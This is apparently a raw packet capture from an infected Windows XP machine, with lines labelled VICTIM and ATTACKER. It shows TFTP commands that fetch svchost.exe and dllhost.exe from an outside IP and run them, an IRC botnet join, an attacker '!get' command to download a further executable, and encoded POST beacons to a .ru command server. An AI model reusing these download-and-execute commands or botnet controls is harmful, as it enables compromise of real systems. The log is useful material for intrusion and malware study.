VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	dir wins\\dllhost.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	dir dllcache\\tftpd.exe 
VICTIM:  	 Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> 
VICTIM:  	tftp -i 218.53.24.238 get svchost.exe wins\\SVCHOST.EXE 
VICTIM:  	\000\001svchost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	\000\004\000) 
VICTIM:  	\000\004\000* 
VICTIM:  	\000\004\000+ 
VICTIM:  	\000\004\000, 
VICTIM:  	\000\004\000- 
VICTIM:  	\000\004\000. 
VICTIM:  	\000\004\000/ 
VICTIM:  	\000\004\0000 
VICTIM:  	\000\004\0001 
VICTIM:  	\000\004\0002 
VICTIM:  	\000\004\0003 
VICTIM:  	\000\004\0004 
VICTIM:  	\000\004\0005 
VICTIM:  	\000\004\0006 
VICTIM:  	\000\004\0007 
VICTIM:  	\000\004\0008 
VICTIM:  	\000\004\0009 
VICTIM:  	\000\004\000: 
VICTIM:  	Transfer successful: 29184 bytes in 20 seconds, 1459 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	\000\001dllhost.exe\000octet\000 
VICTIM:  	\000\004\000\001 
VICTIM:  	tftp -i 218.53.24.238 get dllhost.exe wins\\DLLHOST.EXE 
VICTIM:  	\000\004\000\002 
VICTIM:  	\000\004\000\003 
VICTIM:  	\000\004\000\004 
VICTIM:  	\000\004\000\005 
VICTIM:  	\000\004\000\006 
VICTIM:  	\000\004\000\007 
VICTIM:  	\000\004\000\010 
VICTIM:  	\000\004\000\t 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\013 
VICTIM:  	\000\004\000\014 
VICTIM:  	\000\004\000 
VICTIM:  	\000\004\000\016 
VICTIM:  	\000\004\000\017 
VICTIM:  	\000\004\000\020 
VICTIM:  	\000\004\000\021 
VICTIM:  	\000\004\000\022 
VICTIM:  	\000\004\000\023 
VICTIM:  	\000\004\000\024 
VICTIM:  	\000\004\000\025 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\026 
VICTIM:  	\000\004\000\027 
VICTIM:  	\000\004\000\030 
VICTIM:  	\000\004\000\031 
VICTIM:  	\000\004\000\032 
VICTIM:  	\000\004\000\033 
VICTIM:  	\000\004\000\034 
VICTIM:  	\000\004\000\035 
VICTIM:  	\000\004\000\036 
VICTIM:  	\000\004\000\037 
VICTIM:  	\000\004\000  
VICTIM:  	\000\004\000! 
VICTIM:  	\000\004\000\ 
VICTIM:  	\000\004\000# 
VICTIM:  	\000\004\000\$ 
VICTIM:  	\000\004\000% 
VICTIM:  	\000\004\000& 
VICTIM:  	\000\004\000' 
VICTIM:  	\000\004\000( 
VICTIM:  	Transfer successful: 19968 bytes in 15 seconds, 1331 bytes/s 
VICTIM:  	C:\\WINDOWS\\system32> 
VICTIM:  	wins\\DLLHOST.EXE 
VICTIM:  	NICK xkqzmnqwUSER a020501 . . :- 
VICTIM:  	JOIN &virtu 
ATTACKER:	:u. PRIVMSG xkqzmnqw :!get http:/vbnjhg.com/p/preloader_59fast.exe 
VICTIM:  	GET /p/preloader_59fast.exe HTTP/1.0User-Agent: DownloadHost: vbnjhg.comPragma: no-cache 
VICTIM:  	\002\000\000\000\227\241\324\344\326\007\270\032\352L\227\320\022\264C\365 
VICTIM:  	\323\340\200\245\375\007\270\032\343L\227\320\025\264C\365\372L\227\320e\335-\203\217>\227\325\022\264C\364\352L\227\370\030\264C\365\352L\227\323\340\200\245\343\007\270\032\343L\227\320\027\264C\365\366L\227\320{\332%\232\352H\\\225\232\335\336i~N\227\320\022\336\\222\337u\227\320\022\264A\365\352\260h\373\022\322\357\220\312\336\007\270\032 
VICTIM:  	\324\354\220\304\312\007\270\032\342L\227\320\026\264C\365\215)\343\266{\330&\365\200-\360\320\322\357\220\312\336\007\270\032 
VICTIM:  	POST /forum/be08676aa6521d6d8c60ea587a8e144a.php HTTP/1.0Host: ivestgrpp.ruContent-type: application/x-www-form-urlencodedContent-length: 147Data=be8e2d837ce50c252c1d0f4379530139f80e048101f19e2bd463c4981bad16ad1d4db0f3be6ad5f5484fa73952c2be124943bfaa7fd66dab67fa8025e2ccfdabd3b1c8814a494e 
VICTIM:  	POST /forum/be08676aa6521d6d8c60ea587a8e144a.php HTTP/1.0Host: ivestgrpp.ruContent-type: application/x-www-form-urlencodedContent-length: 147Data=be8e2d837ce50c252c1d0f4379530139f80e048101f19e2bd463c4981bad16ad1d4db0f3be6ad5f5484fa73952c2be124943bfaa7fd66dab67fa8025e2ccfdabd3b1c8814a494e 
VICTIM:  	POST /forum/be08676aa6521d6d8c60ea587a8e144a.php HTTP/1.0Host: ivestgrpp.ruContent-type: application/x-www-form-urlencodedContent-length: 147Data=be8e2d837ce50c252c1d0f4379530139f80e048101f19e2bd463c4981bad16ad1d4db0f3be6ad5f5484fa73952c2be124943bfaa7fd66dab67fa8025e2ccfdabd3b1c8814a494e 
ATTACKER:	PING :j. 
ATTACKER:	PONG :j. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :j. 
ATTACKER:	PONG :j. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :j. 
ATTACKER:	PONG :j. 
VICTIM:  	JOIN &virtu